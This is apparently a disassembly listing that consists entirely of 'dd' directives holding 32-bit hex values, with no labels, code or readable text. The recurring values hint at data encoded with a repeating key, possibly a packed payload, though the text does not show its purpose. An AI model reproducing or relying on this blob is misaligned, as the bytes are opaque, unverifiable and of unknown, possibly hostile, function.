		dd 32156649h, 1C1F26C2h, 0A51A1743h, 81796869h,	0A3904D1Fh
		dd 0DB13CF04h, 32156605h, 21538E2h, 44C66BD0h, 0F9054F44h
		dd 0C2D8DF55h, 95224E7Ch, 52178685h, 8B4783A2h,	130E0B1Dh
		dd 3B9065E9h, 3D13CF67h, 32156AA6h, 349D6911h, 3D156688h
		dd 321566CFh, 3E55722h,	3DE557D7h, 3215770Ch, 32198F44h
		dd 1A856622h, 0D7842BB2h, 3292E4E9h, 0B375BEC7h, 6B276FCDh
		dd 53E4ED67h, 0F49E0625h, 1F74AACEh, 16C52A50h,	1F1B5914h
		dd 1FDD67E5h, 5F38687Bh, 0E2591427h, 339A6935h,	0CA156688h
		dd 2E3122CDh, 0B31A07DEh, 32156619h, 329A69E8h,	53156644h
		dd 329A6942h, 84156611h, 74FC0758h, 0DB156647h,	3215662Ah
		dd 0C90A5DABh, 591CD890h, 32118AC5h, 3E9C6622h,	339A6935h
		dd 0C7156688h, 41A00EBDh, 269C6622h, 279C6935h,	0DB156688h
		dd 32156654h, 0E1917A35h, 0CB13A50Eh, 4FD16388h, 0B1AEE90Ah
		dd 37FCAF13h, 0BF156611h, 3F1DF0A0h, 3214E04Bh,	0B9ED6622h
		dd 9B3FEF84h, 21FC068Eh, 8C156644h, 78F53455h, 17B01377h
		dd 0CA2285EBh, 0C8E5D597h, 0C59EC370h, 3D175D70h, 3214650Ch
		dd 0B9730644h, 3F7D07D9h, 0BB15663Bh, 36AB42BCh, 33156644h
		dd 26FC38D0h, 3C156611h, 0A776B1CAh, 0CAFF4628h, 0A344CEAEh
		dd 0A9A58D90h, 6104AA7Eh, 766AFCFFh, 0B3562567h, 0A34DF3DAh
		dd 34FEA7ADh, 9816A5C5h, 0EB14984Ah, 321D8F4Ah,	6AE46688h
		dd 416B3D3Bh, 0BF2E0976h, 34BC475Ch, 0CD82E387h, 527599BBh
		dd 3215EE2Dh, 0DA746611h, 32156699h, 0A9C59914h, 8474B7F4h
		dd 25C8C642h, 0EED43646h, 0F4A26984h, 3FFC077Bh, 0BF156611h
		dd 74BB2F88h, 7F055DC1h, 88090B92h, 0CAD3642h, 0BB1F62E1h
		dd 0D9D43E87h, 31FEA724h, 30218D90h, 0EA9C668Dh, 32128F1Fh
		dd 79FE6622h, 0BEF96951h, 0F298EB94h, 0DB13CF09h, 32156625h
		dd 85E46E1Bh, 3D7A2E9Fh, 321570C9h, 32048F22h, 28CE6611h
		dd 0FEDF4E39h, 0A4BB7FC1h, 210D7024h, 0CD80FDF4h, 23936969h
		dd 0DB156644h, 3215662Eh, 41664D76h, 0A47A0133h, 39C65651h
		dd 1F1CEBABh, 0B81A60B8h, 32156686h, 32156FADh,	86DA3422h
		dd 0F3EFF27h, 6EA406Ah,	0F6963C60h, 3D9E6926h, 0DB156611h
		dd 32156682h, 0A988F15Fh, 4DA86A0Fh, 6EA7107h, 0F6963FACh
		dd 3E9D6940h, 3D156622h, 3215609Eh, 32956988h, 5A156644h
		dd 3215126Bh, 3D315298h, 32156C0Bh, 0B31A0644h,	32156622h
		dd 0B9743F40h, 9B217B15h, 52470642h, 8D733943h,	0CD743427h
		dd 1619EDBBh, 3211A2C5h, 23FC6622h, 0CD156611h,	456FFA64h
		dd 32D2A5AAh, 693357E1h, 0E3EC8F66h, 1F1CE303h,	3DFC60EDh
		dd 0E7156622h, 94C4F3B7h, 0E40B0721h, 3C7D321Ah, 0B01AB217h
		dd 32156603h, 32156B61h, 1DB89444h, 0E5985F25h,	0AD2678A5h
		dd 0D2C44938h, 321575ADh, 0A6E81622h, 0EED3E0E9h, 0DD2860B7h
		dd 0BCA37459h, 39A194CBh, 3B9065E4h, 0CA13CF9Eh, 38FC9075h
		dd 91156622h, 0BCECBA39h, 8969A922h, 3E557BAh, 3DE557E4h
		dd 32157796h, 32198F88h, 38646644h, 95633407h, 8D925199h
		dd 9F73C1E1h, 53753024h, 32068E7Ah, 3FDC6611h, 701526BEh
		dd 9803BE0Dh, 4BE8B905h, 58153ECDh, 0F3743F01h,	3D7564A4h
		dd 321562A0h, 0F3AB0011h, 534D3498h, 111CE347h,	3D75608Bh
		dd 3215609Eh, 32946988h, 0CE156644h, 3E55743h, 52E557D7h
		dd 320DE287h, 21FC6644h, 77156622h, 0A6F39BABh,	0F5AC08A3h
		dd 11C68E22h, 17BDC6FAh, 0B51ADAD9h, 3215668Dh,	3ECAE722h
		dd 0CBB807EDh, 9A7F1A3Ch, 61DD67E7h, 9A7F1AFFh,	69CD674Dh
		dd 32156DF8h, 60905188h, 31BEA52h, 0CF65C8A9h, 6C3152EEh
		dd 3211A209h, 0BA1A6644h, 32156623h, 67A8E5E4h,	3313CF87h
		dd 32D3E24Bh, 3EFC6622h, 14156611h, 7B1CFA39h, 9E111F51h
		dd 9A45BEAh, 9B14339Ch,	9B91698Eh, 3D156644h, 321567AFh
		dd 0BF2E9311h, 34BC41A9h, 3283E24Bh, 3AFC6622h,	0A9156611h
		dd 0DD29E03h, 916E1DFh,	9B152BAFh, 4F916917h, 52156688h
		dd 321FE34Bh, 37FC6622h, 0A0156611h, 85C250B2h,	0E988EB25h
		dd 0DB13D6F0h, 3215661Dh, 1E55542Bh, 38A5C71h, 0ED05FB68h
		dd 0B71AB5EEh, 32156680h, 3217E84Bh, 53756622h,	1639E741h
		dd 22B83C40h, 0FAAF341Bh, 3305CB78h, 3EFC3CC6h,	6156688h
		dd 0A2C0B2BBh, 305C5A94h, 0C7490A80h, 61CE301h,	37FC60EDh
		dd 0F156622h, 87091008h, 32350B61h, 32138F44h, 53036622h
		dd 915E99Ch, 0E0CEFB05h, 39FC60F4h, 0BA156622h,	0FFA50BEDh
		dd 98326909h, 0E1EA19DAh, 3212ED2Dh, 0B91A6611h, 32156689h
		dd 239E69B1h, 0DB156622h, 3215661Dh, 0AF5A2919h, 0AE0B41C7h
		dd 0B805042Eh, 3D40DB92h, 3D156021h, 321510C0h,	37906922h
		dd 52156611h, 53E9AC02h, 2650E37Fh, 0B61A608Bh,	32156657h
		dd 32198FE8h, 3CAC6644h, 0E7DDB216h, 19291E3Dh,	3BFC533Eh
		dd 6A156644h, 15FC1BAh,	5253C51Ah, 3CFC06E9h, 88156644h
		dd 1A90533Bh, 0F7DC904Fh
		dd 0D604695h, 54F9E63Dh, 0BB905D43h, 3D13CF0Fh,	32157C0Dh
		dd 0D8FC9E44h, 0DBEA99DCh, 3215661Eh, 22FE474Fh, 112E08D9h
		dd 17B96922h, 9EFFBD5h,	9B18E30Dh, 0BB906942h, 3D156622h
		dd 3215619Eh, 339B6988h, 0CE156644h, 20B8DBA1h,	3D1560B8h
		dd 32154D0Ch, 8C730644h, 0F094596Eh, 35F091Bh, 7A8E5E9h
		dd 3213CF4Dh, 3243E22Dh, 0B71A6611h, 32156684h,	3213ED4Bh
		dd 0B11A6622h, 32156611h, 69F6E305h, 527560F4h,	321576CBh
		dd 0ED736211h, 2A352CAAh, 6FD103A9h, 48C7CDA0h,	321F8EDCh
		dd 52636688h, 202AEEFBh, 6874ABB2h, 8D1A0749h, 7CFC0750h
		dd 0DBEA99BAh, 3215662Ah, 83321AEAh, 0B73F03DBh, 3F90E37Fh
		dd 0B61A608Bh, 0CDEA9824h, 32156861h, 8DD51F44h, 0CA3ABE0Ah
		dd 0E5A62E0Ah, 0CA119C02h, 40F2DBC7h, 3D146092h, 32155C94h
		dd 321F8F88h, 2A396644h, 859B3A7Bh, 5C25BC9Bh, 410EE3B3h
		dd 0B71A60F4h, 3215663Dh, 0FB9406E4h, 74A3AB9Bh, 534F9A12h
		dd 39F1E3AFh, 0DBEC6648h, 0CDEA9880h, 3214E94Bh, 3E96622h
		dd 369E69EEh, 52156688h, 0B1740724h, 9B1A7B9Fh,	0B61A6617h
		dd 32157644h, 321DE14Bh, 0B91A6622h, 32156613h,	0B72E07E8h
		dd 34A51543h, 324BE32Dh, 26FC6611h, 5156688h, 8CBC8B90h
		dd 5156B70Ah, 0FC2DC930h, 4366F71Bh, 0B9B4F59Ah, 9B0B3BA7h
		dd 2F936917h, 52156688h, 321577ACh, 0F2E7FB22h,	0DEE287AFh
		dd 5F7410DCh, 0C2C6047h, 544A964Bh, 53CC3DAEh, 5985DFD9h
		dd 0C39425DBh, 8E75F24Dh, 3D4CA938h, 3215610Ch,	33976944h
		dd 0CA156622h, 411AE32Ah, 0B71A6038h, 3215667Bh, 321575CBh
		dd 95D66811h, 5BF9FC07h, 9DE86B82h, 395A4B66h, 0B6A9A4BEh
		dd 3330E303h, 3D7560EDh, 321560ABh, 45D5E711h, 0B335EC82h
		dd 7D90C094h, 0F37D0713h, 0BB156639h, 36EA42B4h, 9E93960h
		dd 82666DA7h, 2906917h,	0C7156688h, 1788E3CFh, 3DED608Bh
		dd 32157495h, 32188F88h, 497E6644h, 25EDDD34h, 7B445612h
		dd 609C6645h, 0CDEA99FEh, 68C24FDDh, 3214E11Eh,	9E06688h
		dd 826675C1h, 63906924h, 52156611h, 67D57F30h, 0CC9E000Bh
		dd 0A390ED43h, 3D13CF11h, 32157B0Ah, 259C6944h,	0DB156622h
		dd 32156603h, 0C9B6889Fh, 0B2CEA498h, 0C66E17C4h, 8CB8BD64h
		dd 0E5925A4Ch, 3C25706h, 0DBC257D8h, 32156601h,	0EF52A2DFh
		dd 413A7FA0h, 39016E15h, 61F60A3h, 4102E3B3h, 0B71A60F4h
		dd 32156606h, 0AB90EDE8h, 3D13CF9Ah, 32156AC1h,	32128F22h
		dd 244D6611h, 83610EA2h, 33AD3626h, 33156622h, 0C7E03ED6h
		dd 410EE3B3h, 0B71A60F4h, 32156665h, 3204E71Eh,	3EFC6688h
		dd 6B156644h, 1F977183h, 2BBB341Ch, 0B9A1C509h,	9B10ABC1h
		dd 32048F24h, 84176611h, 48117936h, 5C98604Bh, 5146E1C9h
		dd 62F17EE0h, 32156730h, 6AD26744h, 321560CBh, 0A91ECD11h
		dd 918230Bh, 826679C1h,	6A906924h, 3D156611h, 32157E04h
		dd 39FC0644h, 29156622h, 0EB26E6BFh, 1407CBEFh,	0C394C6E2h
		dd 43A524E4h, 0B79E9E70h, 34BC6FF1h, 321FEF4Bh,	54756622h
		dd 5A8AA790h, 532EB408h, 6188D812h, 0C494508Ah,	73CB3091h
		dd 0B3178849h, 0EF942EAAh, 6CE24F3Fh, 321560F8h, 1DF9E688h
		dd 9721C68h, 826645A7h,	906917h, 0CE156688h, 178E3CFh
		dd 22FC608Bh, 0D0156611h, 1A88B47Ch, 812A0902h,	0CD85B21Eh
		dd 6089A701h, 0CDEA9932h, 68C24FBBh, 3212E22Dh,	0BE1A6611h
		dd 32156689h, 15905DBCh, 3D13D651h, 32152E94h, 27986988h
		dd 3D156644h, 321569AAh, 321F8F11h, 5C736688h, 880CCF8Ah
		dd 40DFE87Bh, 32156CF8h, 5D9BC288h, 57B0D3F3h, 0B941932Eh
		dd 9B100F94h, 6774068Eh, 0F83527F9h, 72E0E77Fh,	3348AC31h
		dd 0B51A3B67h, 32156645h, 19905DDEh, 3D13D662h,	32152A0Dh
		dd 0B79E9344h, 34BC675Bh, 321EE71Eh, 34FC6688h,	3A156644h
		dd 0B34A1F9Ch, 8B7306B8h, 53E09922h, 5082DC16h,	0E0E23383h
		dd 701184D0h, 0E4958C09h, 0E514C3ADh, 32068F78h, 0D0D46611h
		dd 0C1F5D74Ah, 2F83C1A0h, 0E70C7C91h, 460FD2D2h, 1905DF3h
		dd 3D13D637h, 32154FA7h, 0B79E9311h, 34BC46ADh,	3214EE4Bh
		dd 0B3E96622h, 321562FDh, 1629EF88h, 6D3162BBh,	321DE92Dh
		dd 0B11A6611h, 3215668Ah, 0B72E0724h, 34A5150Dh, 324EE31Eh
		dd 3AFC6688h, 52156644h, 475DFB90h, 52218AC6h, 22FCA802h
		dd 0DA156644h, 9E7C845Ch, 39F97AEEh, 88E7D9C2h,	53B2A800h
		dd 3A08DBA1h, 3D1560B8h, 32154E0Dh, 0B79E9F44h,	34BC439Bh
		dd 3206E31Eh, 3CFC6688h, 0BA156644h, 0C355AB2Bh, 38045C6Eh
		dd 0DAB4B64Dh, 0B1C2E1C0h, 0E59267E0h, 0BFA8E5EDh, 3213CF86h
		dd 329FE24Bh, 0B41A6622h, 32156603h, 3219E587h,	35FC6644h
		dd 0E9156622h, 85C4D241h, 0B72EC3FFh, 34A515FFh, 3273E32Dh
		dd 0BE1A6611h, 32156682h, 321563ADh, 0BFBA7A22h, 0B79E7B6Ch
		dd 34BC4261h, 3219E94Bh, 54756622h, 4D1AB690h, 4623E837h
		dd 8B44075Ch, 32156623h, 0C74CA910h, 32018FE8h,	0EFC36644h
		dd 0FB39D21Fh, 0C0F9F3F2h, 0A722B0D1h, 175F0F2Ch, 26FC3BB0h
		dd 8F156611h, 96B1ADB8h, 50E40B2Bh, 0BEEF24A1h,	70618523h
		dd 5339243Dh, 35A8DBC7h, 3D15608Bh, 32170095h, 0B1EC9E88h
		dd 9B0BB7F9h, 0B61A6624h, 32156446h, 88739EE8h,	0DB746159h
		dd 32156631h, 0FF952E83h, 3E133AD9h, 7BD44188h,	0CE26D37Fh
		dd 940E27Fh, 8266F90Dh,	57906942h, 0CA156622h, 74E39Ah
		dd 0DA756021h, 32156650h, 92578761h, 0A4D6C923h, 0BF231689h
		dd 0AF1CDEDAh, 5BE57ECFh, 321569F8h, 0CE6CBB88h, 10288DA8h
		dd 62AB4752h, 0DAD68F40h, 32138FD3h, 6CE46644h,	80A6D3FFh
		dd 321D8F70h, 2D886688h, 8C21AE69h, 8946F0AFh, 0CDEA99EEh
		dd 3D4EB9A1h, 321561CFh, 19A60622h, 53C2D11Eh, 41BAE3B3h
		dd 0B71A60F4h, 32156669h, 46CEE771h, 3D4DD0EEh,	0B974AFFBh
		dd 9B0B5BA7h, 321A8F17h, 7C5B6688h, 5693D05Eh, 0F4B9BC7Ch
		dd 6F2C51BBh, 71CAE1EDh, 0C924B975h, 0B11AB913h, 32156606h
		dd 32157461h, 0C95BB744h, 0D3A8A0BBh, 69AD56A5h, 16325F99h
		dd 97D2A55h, 8266C5A7h,	906917h, 52156688h, 0B79E07BDh
		dd 34BC669Bh, 321DEB1Eh, 0B81A6688h, 32156646h,	0BF1A0742h
		dd 3215661Ah, 32156061h, 7288244h, 67345863h, 321567ACh
		dd 6FFA6788h, 81905DB8h, 3D13D651h, 32153E94h, 32128F88h
		dd 324A6644h, 0DDCF5549h, 9390ED21h, 0DB13CF94h, 32156650h
		dd 95AF417Dh, 0CDB1920Dh, 64A1494Ch, 0B9CB7F11h, 0AD7D5D5Fh
		dd 3208EA1Eh, 0B3756688h, 755515AEh, 321A8E0Eh,	0C9BA6611h
		dd 807D1E80h, 0A6EA9251h, 342FE450h, 64743ED3h,	0CDEA9936h
		dd 6CE24FBBh, 85905DDEh, 3D13D662h, 3215570Dh, 321A8F44h
		dd 0A4E66622h, 14690AA0h, 0EB93E70h, 0BACF945Bh, 0BF90ED52h
		dd 3D13CF3Ch, 32156702h, 8B449F44h, 32156623h, 3D4CA910h
		dd 32156703h, 0B72E9F44h, 34A51585h, 3256E31Eh,	0B9ED6688h
		dd 9B087FC1h, 0B9730624h, 32058FC0h, 0F87A6688h, 866C835Dh
		dd 0B0F57CAAh, 97A59341h, 63745E7Ah, 9F474AFDh,	0B3C4916Ch
		dd 60B8B4E0h, 6BDA6739h, 38F7E724h, 3D59B597h, 3215659Eh
		dd 0E2AA6988h, 99905D25h, 3D13D651h, 32155094h,	32128F88h
		dd 26A96644h, 0E976FB4Dh, 0F90ED52h, 5213CF95h,	6A86D714h
		dd 8FAE3543h, 0B32C4B79h
		dd 1F7DDA63h, 69CA677Dh, 32156CCBh, 8EE70711h, 419765Ch
		dd 0B1D944C5h, 9B0BB79Fh, 0B61A6617h, 32156F64h, 5905DBDh
		dd 3D13D651h, 32154294h, 3F936988h, 52156644h, 8ECEE744h
		dd 72DCE768h, 537BCC01h, 120CE3CFh, 61EC608Bh, 321567AAh
		dd 69CA6788h, 0F9905DBCh, 3D13D651h, 32153694h,	321F8F88h
		dd 7D126644h, 2A460847h, 189914B7h, 6F0E303h, 0BD1A60EDh
		dd 32156637h, 321B8F71h, 0B2B6688h, 6AF8BB82h, 0B9E73029h
		dd 0B6DF36E0h, 8F409AE9h, 32156645h, 52488923h,	55DB50AEh
		dd 321F8FFAh, 0F7EF6644h, 70BAEDE2h, 0C2D1147Fh, 9905DE9h
		dd 3D13D637h, 321552A7h, 0B79E9A11h, 34BC6A15h,	3219EC4Bh
		dd 0B91A6622h, 32156617h, 3215E887h, 89466644h,	32156623h
		dd 524EB910h, 0D3D2DCEEh, 3213EC4Bh, 0B81A6622h, 32156611h
		dd 0D905DE9h, 3D13D637h, 321553A7h, 32018F11h, 24DD6688h
		dd 1D4CBBDEh, 0C6FA3811h, 77D39718h, 0EE2CE25Ah, 0B79E8F5Ch
		dd 34BC4AD3h, 3214E51Eh, 64ED6688h, 0CDEA99FAh,	6CE24FDDh
		dd 0B9FBEC71h, 0B72E0776h, 34A51507h, 320DE32Dh, 85756611h
		dd 0E0A269B1h, 0CB90ED25h, 0CA13CF31h, 0CDEAD847h, 0C53C9977h
		dd 0B72E9A1Ah, 34A51565h, 3263E31Eh, 0B3756688h, 10B98D95h
		dd 0F9AE000Ch, 8F960778h, 34BC6E95h, 6F906944h,	3D156622h
		dd 32156798h, 0B51A9E88h, 32156641h, 6A459342h,	0EF90ED70h
		dd 5213CF8Bh, 2D8E624h,	8C81DD44h, 0CDCDE770h, 535B386Eh
		dd 0CDEAD812h, 0C53C99DDh, 32068F4Fh, 0D3386688h, 918DB240h
		dd 8EF3F3DFh, 0E71E4BD9h, 4A9CDD05h, 321B8FB7h,	0AFCF6622h
		dd 311561B1h, 20E05C63h, 0A86FE75Ah, 415EE319h,	0B71A60A1h
		dd 321566C7h, 4A33024h,	0FAAA697Ah, 7790ED70h, 3D13CFBBh
		dd 32156AC9h, 0D3940622h, 0C5A8822h, 538DDFEEh,	0F4AE3525h
		dd 71631506h, 238F8590h, 0D1942A7Ch, 3B642C37h,	32148DA3h
		dd 0ED146661h, 3E9669D3h, 3D156644h, 321560ACh,	32996911h
		dd 9156688h, 826629C1h,	71906924h, 0C7156611h, 3A08DB0Bh
		dd 3D1560EDh, 321553A7h, 8C730611h, 0BA1A7306h,	32156646h
		dd 0B974F895h, 9B367B94h, 0B975938Eh, 8A4507BEh, 0CDEA99DDh
		dd 0DB4DA138h, 32156686h, 0CF449A68h, 48300469h, 0FBA54F57h
		dd 0B72E4347h, 34A51517h, 322CE32Dh, 0B8756611h, 6025D952h
		dd 0DB745297h, 3215662Dh, 0FF66CBDFh, 373C131Ah, 91896527h
		dd 0B9025F83h, 9B076394h, 0C4AA068Eh, 5422695Eh, 738E94A3h
		dd 0CDAE3570h, 1BEA9977h, 9E93D9Bh, 826631A7h, 57906917h
		dd 3D156688h, 32157FCDh, 32018F22h, 74BA6611h, 58A40ABCh
		dd 7C3C2A44h, 970B68A1h, 0E010F841h, 527540CCh,	32156DADh
		dd 0AECE822h, 5A1123F9h, 0ED56CB16h, 0B79E0725h, 34BC4F9Fh
		dd 321577F8h, 7A9BC188h, 8BFEFEC8h, 4B562138h, 25227E7Bh
		dd 8B44D840h, 43345F5Ch, 0F4F2A7A3h, 0FD3CE8CFh, 339869D1h
		dd 0CA156644h, 414AE319h, 0B71A60A1h, 321566D0h, 2FA8E5BCh
		dd 3213CF2Ah, 325FE31Eh, 34FC6688h, 11156644h, 6B1BD84h
		dd 3F90ED6Bh, 0DB13CFADh, 3215664Ch, 0D4B32270h, 0A157D41Eh
		dd 161199DFh, 0B3315ACFh, 321562E6h, 32108F11h,	36256688h
		dd 0DBC30D31h, 32156632h, 9C6802EAh, 62A6557Ah,	428B73B8h
		dd 3A834EAFh, 414EE32Ah, 0B71A6038h, 32156610h,	3214E62Dh
		dd 0B1EC6611h, 9B1D7B35h, 0B71A6642h, 32156662h, 30926971h
		dd 0B9156688h, 53CBED86h, 35B0E3A9h, 0BE1A60B8h, 32156689h
		dd 33AB30B8h, 33156622h, 8B7538E6h, 20358F9Ah, 0C32FC2FFh
		dd 0BC1A075Ah, 3215661Dh, 3213E287h, 0BA1A6644h, 32156622h
		dd 4176E32Ah, 0B71A6038h, 32156601h, 3219EE2Dh,	0BE1A6611h
		dd 3215668Eh, 3215E84Bh, 0B79E6622h, 34BC72F4h,	0DAF2DEE8h
		dd 0B91A169Ch, 32156622h, 33AE3570h, 33156688h,	0DBE93D9Bh
		dd 32156633h, 46307A17h, 0A9A961B4h, 3D317326h,	1A27DD22h
		dd 55905DA4h, 3D13D6FBh, 321539C1h, 32018F22h, 44AC6611h
		dd 50D8A574h, 7AAA46C3h, 3F0B80A5h, 2A29B154h, 0B79EF0C1h
		dd 34BC46F9h, 3214E12Dh, 60E96611h, 9C655232h, 0BD7E735h
		dd 7861E879h, 95D7E75Bh, 0F30482C7h, 0D89464A6h, 0D2910A6Bh
		dd 524FB138h, 32156861h, 0CFE74E44h, 0B62E6FCCh, 35CD76D1h
		dd 54C3A280h, 53FCA4FCh, 417EE319h, 0B71A60A1h,	321566B6h
		dd 32156BADh, 99681D22h, 55AAC316h, 3F8443EBh, 0B79E664Ah
		dd 34BC52E3h, 3219E11Eh, 35FC6688h, 0EE156644h,	671341D9h
		dd 8B445618h, 0CDEA9977h, 0DB4CA96Dh, 32156624h, 0F96E08CCh
		dd 0B72E3589h, 34A5152Bh, 3225E32Dh, 3CFC6611h,	0FE156688h
		dd 0C08DFB06h, 0E0B544AFh, 52FCFA80h, 0D390ED60h, 0DB13CF62h
		dd 3215662Ah, 0A1F23ED8h, 0D81D2BF0h, 3214DC16h, 0E5146622h
		dd 0B72E9F4Bh, 34A515FBh, 322CE34Bh, 0CAEC6622h, 3AC4E39Ah
		dd 0B51A6021h, 32156645h, 64AD36DEh, 7A1D9005h,	3BFECA8Dh
		dd 6AD267B3h, 32068E42h, 0D5526611h, 6E410420h,	0C70BF8FFh
		dd 0A83BE43Ch, 76201854h, 974387Bh, 826611C1h, 61906924h
		dd 52156611h, 329469E8h, 60156644h, 0B9740779h,	9B30A394h
		dd 32058F8Eh, 4D206644h, 0E48BE57Ch, 0A1520CCFh, 0B19BD650h
		dd 8F40C28Ah, 353277D4h, 2764A390h, 0B3507757h,	395A0DA1h
		dd 5BF8E77Fh, 1B0C6416h, 0B91A3B67h, 3215664Eh,	3D4D3442h
		dd 32156692h, 0B72E0788h, 34A5153Fh, 3277E32Dh,	3D756611h
		dd 3215640Ah, 0DBC6ED44h, 32156631h, 0F9AD262Fh, 0C0808724h
		dd 0C204060Ch, 6CBCABCAh, 53F1A594h, 8390ED70h,	0DB13CF40h
		dd 32156632h, 13A46316h, 0E8E10CA5h, 5FBF92BEh,	0B2B6CB5Ch
		dd 3214DC43h, 0E5146688h, 0B51A9E1Eh, 32156636h, 321BE01Eh
		dd 3BFC6688h, 4D156644h, 0C2FF8E75h, 612D3C3Ah,	416AE3B3h
		dd 0B71A60F4h, 32156614h, 3219E31Eh, 0B41A6688h, 32156642h
		dd 3215E72Dh, 0B79E6611h, 34BC7029h, 3214E44Bh,	60E06622h
		dd 321567ABh, 68C26788h, 321DE64Bh, 0BE1A6622h,	32156613h
		dd 0B72E07E8h, 34BC4009h, 3254E32Dh, 22FC6611h,	8A156688h
		dd 4D622708h, 1E5D4842h, 0BC98C06Ch, 0CAEADF7Eh, 1754E3CFh
		dd 0BC1A608Bh, 32156619h, 3217EC87h, 53756644h,	0CDEADD71h
		dd 0ED3C99EEh, 3A9769D3h, 3D156644h, 321564AAh,	9740611h
		dd 8266E50Dh, 25906942h, 0CA156622h, 5390EDE8h,	3D13CFA8h
		dd 321567C6h, 0B1429E22h, 6D144215h, 0B72E07E8h, 34A515FBh
		dd 3272E32Dh, 0B1ED6611h, 8266A135h, 0B71A6642h, 32156601h
		dd 321576F8h, 735BB88h,	0E4B39212h, 27CB7D14h, 0C29726B9h
		dd 67A8E57Bh, 3213CF4Bh, 3222E22Dh, 0B9E06611h,	9B1D170Dh
		dd 32068F42h, 0DDD86622h, 3CD544FCh, 7DBE4355h,	0F24150FDh
		dd 11C74C62h, 33AD3698h, 33156688h, 0BA1A3E83h,	3215662Bh
		dd 0D2949F71h, 70944B6Ah, 0F1905D25h, 3D13D651h, 3215E194h
		dd 321A8F88h, 29576644h, 37DEC968h, 4D2698ACh, 944A4E44h
		dd 0F5A8E5DBh, 3213D651h, 322CE31Eh, 0B61A6688h, 32156657h
		dd 321568CBh, 41D97E11h, 0B672ECCAh, 0C4E080F8h, 0DB516C94h
		dd 32156616h, 8C3C7AA2h, 0B10A45ECh, 9B1A339Fh,	0B61A6617h
		dd 321566BCh, 3214E34Bh, 0B9E06622h, 9B1A1794h,	3C91698Eh
		dd 0DB156644h, 3215662Bh, 196450ADh, 0D77FE21Dh, 0E3AB0608h
		dd 0B97DB2FCh, 894607D0h
		dd 0CDEA9977h, 0CA4EB96Dh, 4192E319h, 0B71A60A1h, 321566DAh
		dd 0D8940024h, 0E695403Ch, 0B79E07D0h, 34BC7251h, 0CEAC0024h
		dd 21FC350Fh, 0D5156611h, 0EA3EB831h, 5837599Ch, 2EF91931h
		dd 351655Ah, 534B0669h,	321EED4Bh, 3D756622h, 0F294A4AEh
		dd 1D5F013Dh, 33AF3425h, 33156622h, 88753CC6h, 44CDB474h
		dd 0B72E07BCh, 34A515A9h, 325DE31Eh, 0BD1A6688h, 3215664Ah
		dd 32156FCBh, 880D1111h, 2189355Ah, 0B79EC6CDh,	34BC63CFh
		dd 0FD9E0071h, 53D4D987h, 3203E24Bh, 23FC6622h,	1D156611h
		dd 0A605CA64h, 0D003969h, 77D46DFBh, 0B56CB082h, 0CDEADBDDh
		dd 0DD3C99BBh, 0B72E9E7Fh, 34A5159Eh, 3273E387h, 3AFC6644h
		dd 0FD156622h, 0B581549Eh, 520AC5FAh, 3217E04Bh, 0EAA26622h
		dd 0CB90ED70h, 5213CFBDh, 5CE4E724h, 3D16693Fh,	3215669Fh
		dd 3DFC0788h, 40156644h, 0C0D3A2DAh, 458D6E8Ah,	9061E5F4h
		dd 0B574B314h, 604224F5h, 3EFC3C4Eh, 0AD156688h, 5C2D2980h
		dd 6D674DCAh, 527FDC91h, 3216E587h, 0B9736644h,	53D6EDD5h
		dd 4186E32Ah, 0B71A6038h, 3215660Bh, 321569CBh,	60A03411h
		dd 67E5322Eh, 9AB3F897h, 46D67319h, 309F6971h, 0B8156688h
		dd 0CAE0069Ch, 0B79E0743h, 34BC5344h, 32156A61h, 0EBBA2E44h
		dd 78DB57F9h, 5540BAF5h, 36963151h, 524A6760h, 321563CBh
		dd 0FC5C0611h, 0B975795Ah, 974078Eh, 8266F1A7h,	9906917h
		dd 0C7156688h, 3B9CE3CFh, 3CFC608Bh, 0A4156611h, 0AC0CA97h
		dd 25ADCA90h, 7AEC98E1h, 32048F20h, 8AD56688h, 88B6390Fh
		dd 0AD404209h, 3AF33FB3h, 63A68CF5h, 321567FDh,	6BDA6722h
		dd 0B72E9FEDh, 34A51513h, 3223E34Bh, 0BB1A6622h, 32156600h
		dd 32156A61h, 0AA468844h, 0F0FD99FAh, 0FD675D7Eh, 2B90EDDCh
		dd 0CB13CF64h, 0CDEADD71h, 0ED3C99EEh, 3B9269D3h, 52156644h
		dd 0F6C6E744h, 53CDED54h, 0B61A9983h, 3215666Dh, 321574CBh
		dd 0E5E6C711h, 0D3AF7742h, 5BEC77DFh, 4746E70Bh, 0DB42E271h
		dd 0CDEA8A70h, 32156EADh, 0AB482322h, 0E6BF8311h, 9F905D1Eh
		dd 3D13CF41h, 321548A7h, 3C926911h, 0DB156688h,	3215664Dh
		dd 8D9E56DFh, 0CF1E935Ch, 0B7989345h, 34A56EC2h, 0DEAB8FDEh
		dd 0B21A99EEh, 3215668Fh, 3214E14Bh, 9ED6622h, 9B180F94h
		dd 6390698Eh, 3D156644h, 321567ACh, 8F969F11h, 34A5146Fh
		dd 0F906945h, 0CA156622h, 3972E39Ch, 21FC66D1h,	58156644h
		dd 4E859DF5h, 81911AFBh, 44AC69DBh, 50D8A5B8h, 5FFC46A5h
		dd 52EA99FDh, 329F6970h, 53156644h, 32156DCBh, 1979A011h
		dd 0F3AA094Eh, 62E243F5h, 40E2E319h, 0B61A60A1h, 321566A3h
		dd 0C9905DBCh, 3D13D650h, 32155D94h, 2A926988h,	0DB156644h
		dd 32156631h, 293431AFh, 4977DFEBh, 0F75F6F0Bh,	0CCFE7132h
		dd 0DBBDC940h, 0CDEA8A90h, 0CB9E0024h, 321560CBh, 157A9811h
		dd 53D02742h, 5CD5E624h, 53CDED44h, 234ED946h, 0C5425FA1h
		dd 0F34A4258h, 0F59464C5h, 0D6B1237Dh, 0DB4A9801h, 3215664Ch
		dd 307B34EFh, 0EE52BB81h, 3D14980Bh, 3215D3C1h,	0B72E9E22h
		dd 34A514FAh, 3227E387h, 3D756644h, 321562ACh, 0D2AF0011h
		dd 32128FCEh, 0B2FB6644h, 78CB5051h, 0B7980785h, 324DE14Ch
		dd 93FC0724h, 3DEA99C9h, 32156093h, 0E39E0688h,	0CB743917h
		dd 40FAE319h, 0B71A60A1h, 321566ADh, 3216E54Bh,	0CA756622h
		dd 890EB70h, 0CE153E00h, 0CDFE15ADh, 38FC9FDDh,	27156611h
		dd 0D0B04665h, 2251523Ah, 0C1905DFEh, 3D13D663h, 32155F0Dh
		dd 3BFC0644h, 10156622h, 1E52400h, 0B5A61E41h, 4D90EB25h
		dd 0DB153EAAh, 3215661Dh, 2F398E91h, 3C29CB45h,	6B5F3343h
		dd 0F49E0071h, 0BC4BDCEEh, 0D9378F25h, 0B87599DDh, 634507E2h
